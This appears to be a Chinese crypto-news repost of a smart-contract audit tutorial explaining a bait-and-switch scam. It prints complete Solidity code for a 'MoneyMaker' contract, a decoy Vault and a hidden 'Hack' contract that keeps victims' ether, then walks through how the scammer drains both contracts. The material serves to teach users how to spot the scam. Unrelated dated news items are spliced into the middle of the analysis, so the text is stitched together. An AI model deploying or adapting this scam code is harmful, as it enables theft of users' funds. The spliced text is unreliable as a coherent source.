比特幣交易所 比特幣交易所
Ctrl+D 比特幣交易所
ads
首頁 > TRX > Info

智能合約安全審計入門篇 —— 移花接木_BSP

Author:

Time:1900/1/1 0:00:00

概述

上期我們了解了利用 tx.origin 進行釣魚的攻擊手法,本期我們來帶大家了解一下如何識別在合約中隱藏的惡意代碼。

前置知識

大家還記得之前幾期部署攻擊合約時我們會傳入目標合約的地址,在攻擊合約中就可以調用目標合約中的函數嗎,有些攻擊者會利用這一點欺騙受害者。比如部署一個 A 合約并告訴受害者我們會在部署 A 合約的構造函數中傳入 B 合約的地址并將 B 合約開源,其實我們會在部署 A 合約時傳入 C 合約的地址,如果受害者完全信任我們沒有檢查部署 A 合約的那筆交易,我們就完美的將惡意代碼隱藏在了 C 合約中。我們可以從下圖來理解這個邏輯:

用戶以為的調用路徑:

部署合約 A 傳入合約 B 地址,這樣調用路徑為正常路徑。

實際的調用路徑:

部署合約 A 傳入合約 C 地址,這樣調用路徑為非正常路徑。

下面我們使用一個簡單的例子來分析這個騙局:

惡意代碼

// SPDX-License-Identifier: MITpragma solidity ^0.8.13;contract MoneyMaker {    Vault vault;    constructor(address _vault) {        vault = Vault(payable(_vault));    }    function makeMoney(address recipient) public payable {        require(msg.value >= 1, "You are so poor!");        uint256 amount = msg.value * 2;        (bool success, ) = address(vault).call{value: msg.value, gas: 2300}("");        require(success, "Send failed");        vault.transfer(recipient, amount);    }}contract Vault {    address private maker;    address private owner;    uint256 transferGasLimit;    constructor() payable {        owner = msg.sender;        transferGasLimit = 2300;    }    modifier OnlyMaker() {        require(msg.sender == maker, "Not MoneyMaker contract!");        _;    }    modifier OnlyOwner() {        require(msg.sender == owner, "Not owner!");        _;    }    function setMacker(address _maker) public OnlyOwner {        maker = _maker;    }    function transfer(address recipient, uint256 amount) external OnlyMaker {        require(amount <= address(this).balance, "Game Over~");        (bool success, ) = recipient.call{value: amount, gas: transferGasLimit}(            ""        );        require(success, "Send failed");    }    function withrow() public OnlyOwner {        (bool success, ) = owner.call{            value: address(this).balance,            gas: transferGasLimit        }("");        require(success, "Send failed");    }    receive() external payable {}    fallback() external payable {}}// This code is hidden in a separate filecontract Hack {    event taunt(string message);    address private evil;    constructor(address _evil) {        evil = _evil;    }    modifier OnlyEvil() {        require(msg.sender == evil, "What are you doing?");        _;    }    function transfer() public payable {        emit taunt("Haha, your ether is mine!");    }    function withrow() public OnlyEvil {        (bool success, ) = evil.call{value: address(this).balance, gas: 2300}(            ""        );        require(success, "Send failed");    }    receive() external payable {}    fallback() external payable {}}騙局分析

元宇宙平臺NFT Worlds將進行品牌重塑和智能合約遷移:4月25日消息,元宇宙平臺 NFT Worlds 將進行品牌重塑和智能合約遷移,其中 5 月 5 日會重新命名所有產品,NFT 計劃通過空投遷移到新的智能合約,用戶無需取消質押,版稅將被強制執行,NFT 持有人不需要做任何事情。[2023/4/25 14:24:52]

可以看到,上述代碼中存在三個合約,我們先結合前置知識中的 A, B, C 三個角色來區分三個合約分別代表什么角色:

MoneyMaker 合約代表 A 合約;

Vault 合約代表 B 合約;

Hack 合約代表 C 合約。

所以用戶以為的調用路徑為:

MoneyMaker -> Vault。

而實際的調用路徑為:

MoneyMaker -> Hack。

下面我們來看看攻擊者如何完成騙局的:

1. Evil 部署 Vault(B) 合約并在合約中留存 100 ETH 資金,在鏈上將 Vault(B) 合約開源;

2. Evil 部署 Hack(C) 惡意合約;

3. Evil 放出消息說他將會部署一個開源的賺錢 MoneyMaker(A) 合約,部署時會將 Vault(B) 合約地址傳入且會調用 Vault.setMacker() 將 maker 角色設置為 MoneyMaker 合約地址,任何人調用 MoneyMaker.makeMoney() 向合約中打入不少于一個以太都會得到雙倍以太的回報;

跨鏈橋AnySwap與智能合約平臺Moonbeam先行網Moonriver集成:9月24日消息,跨鏈橋AnySwap宣布已與智能合約平臺Moonbeam的先行網Moonriver集成。目前,已有包括USDT和BUSD在內的18種代幣被通過AnySwap部署在Moonriver平臺上。[2021/9/24 17:03:04]

4. Bob 收到消息,了解到 MoneyMaker 合約的存在,他看了 MoneyMaker(A) 和 Vault(B) 合約的代碼并檢查了 Vault(B) 合約中的余額發現邏輯確實如 Evil 說的那樣,他在沒有檢查 MoneyMaker(A) 部署交易的情況下就相信了 Evil;

5. Bob 調用 MoneyMaker.makeMoney() 向合約中打入自己全部身家 20 ETH,在他滿懷期待等著收到 Vault(B) 打來的 40 ETH 時等來的卻是一句 "Haha, your ether is mine!"。

咋回事呢?其實這個騙局非常簡單但是很常見。Evil 在部署 MoneyMaker 合約時傳入的并不是 Vault 合約的地址,而是傳入了 Hack 合約的地址。所以當 Bob 調用 MoneyMaker.makeMoney() 時并不會像他想像中的那樣 MoneyMaker.makeMoney() 去調用 Vault.transfer() 回打給他雙倍的以太,而是調用了 Hack.transfer() 拋出了一個事件:"Haha, your ether is mine!"。最后 Evil 調用 Vault.withrow() 將 Vault 合約中的 100 ETH 轉出,并通過 Hack.withrow() 將 Bob 轉入的 20 ETH 轉出。

Cyber??News:近3800份以太坊智能合約存在嚴重漏洞:Cyber??News調查團隊對以太坊智能合約的分析表明,近3800份智能合約存在嚴重漏洞,可以使黑客迅速竊取一百萬美元。該團隊表示,對于用戶來說,很容易檢查他們所使用的平臺是否正在使用帶有任何這些漏洞的智能合約。他們可以在Etherscan或類似的瀏覽器上查看智能合約,以查看這些合約是否已經過審計和驗證。如果智能合約尚未通過審計或驗證,建議避免使用該特定平臺或在線服務。[2020/11/19 21:17:30]

預防建議

以太坊黑暗森林中你能相信的只有自己,不要相信任何人精彩的話術,交易記錄不會造假,只有自己驗證了對應的那筆交易后才能相信對方說的話是對的。

慢霧科技

個人專欄

閱讀更多

金色薦讀

金色財經 善歐巴

迪新財訊

Chainlink預言機

區塊律動BlockBeats

白話區塊鏈

金色早8點

Odaily星球日報

MarsBit

Arcane Labs

報告:以太坊將在第二季度繼續主導智能合約市場:加密研究和分析平臺Messari在最近的一條推文中分享了關于智能合約領域本季度業績的數據,并指出,在第二季度,除了DPoS之外,PoS和PoW代幣都能夠大幅攀升:“在可預見的未來,加密市場似乎會受到更廣泛的經濟環境不穩定性影響。盡管面臨宏觀經濟的不利因素,但即將進入第二季度的智能合約領域顯示出復蘇跡象,PoW指數上漲1%,PoS指數上漲4%,DPoS指數下跌11%。”以太坊可能會在第二季度繼續主導智能合約市場,因為有幾個關鍵趨勢可以讓它鞏固對該領域的控制。Messari研究員Wilson Withiam解釋稱,有三個主要的趨勢可以幫助ETH在未來幾個月實現增長:“第二季度的趨勢是:隨著更多的網絡發布,ETH 2.0將繼續主導對話;‘ETH殺手’市場將更加飽和;staking市場將繼續處于壓力之下,將在大型驗證器和交易所匯集力量。”(CryptoSlate)[2020/4/15]

聲音 | 普華集團王繼輝:明年數字身份將廣泛應用,智能合約將在技術應用特征上進一步凸顯:近日,“2019 區塊鏈技術和產業創新發展大會”在青島國際會議中心舉辦。對于行業未來的發展,普華集團副總裁、首席技術官王繼輝先生表示,2020年,智能合約作為區塊鏈底層技術發展最快、最有應用前景的部分,將在技術應用特征上進一步凸顯,主要表現為面向服務化、合約可視化、安全前置化和合約通用化。[2019/12/30]

Tags:NBSBSPQUOMAKEnbs幣發行量BSPAY價格QUO價格makerdao官網

TRX
林迪效應:投資人深度解析meme幣狂熱現象_MEM

作者:Joel John,LedgerPrime風投負責人;翻譯:金色財經xiaozou我們知道資產價格有兩個驅動因素:流動性和信念。流動性指的是買家進入市場和賣家撤出市場時可用的資本.

1900/1/1 0:00:00
詳解LTC-20協議:發展現狀、優勢與潛在風險_萊特幣

原文標題:《萊特幣 LTC 20 協議,下一個誕生百倍千倍的投機市場?》 作者:Sammi 西米這兩周 brc 市場爆火,創造了很多暴富神話.

1900/1/1 0:00:00
Tether 2023年一季度儲備證明報告解讀_THE

來源:Tether;編譯:金色財經0xPaul審計公司BDO近日發布了Tether的2023年一季度儲備證明報告。 來源:BDO 2023年5月15日,Tether官方對報告進行了解讀.

1900/1/1 0:00:00
流支付:Web3 工具能否博取更大的敘事?_Zebec

流支付(Streaming Money)最早于 2016 年出現概念雛形:鏈上資金不再是以每隔一定時間區間被批量地轉賬(比如每月發放的工資、每年支付的會員費).

1900/1/1 0:00:00
為什么說坎昆升級有點糙_DAT

作者:limblock 來源:作者同名公眾號前兩天,胖老師寫了一篇分析以太坊手續貴原因的文章。后來,有老哥留言表示,坎昆升級會讓以太坊layer2手續費更低,交易體驗更好.

1900/1/1 0:00:00
數碼港元先導計劃啟動 金融創新公司如何抓住機會?_HUB

金色財經記者 Jessy5月18日,香港金融管理局宣布啟動“數碼港元”先導計劃。包括中國銀行(香港)、恒生銀行、Alipay Financial Services (HK) Limited等在內.

1900/1/1 0:00:00
ads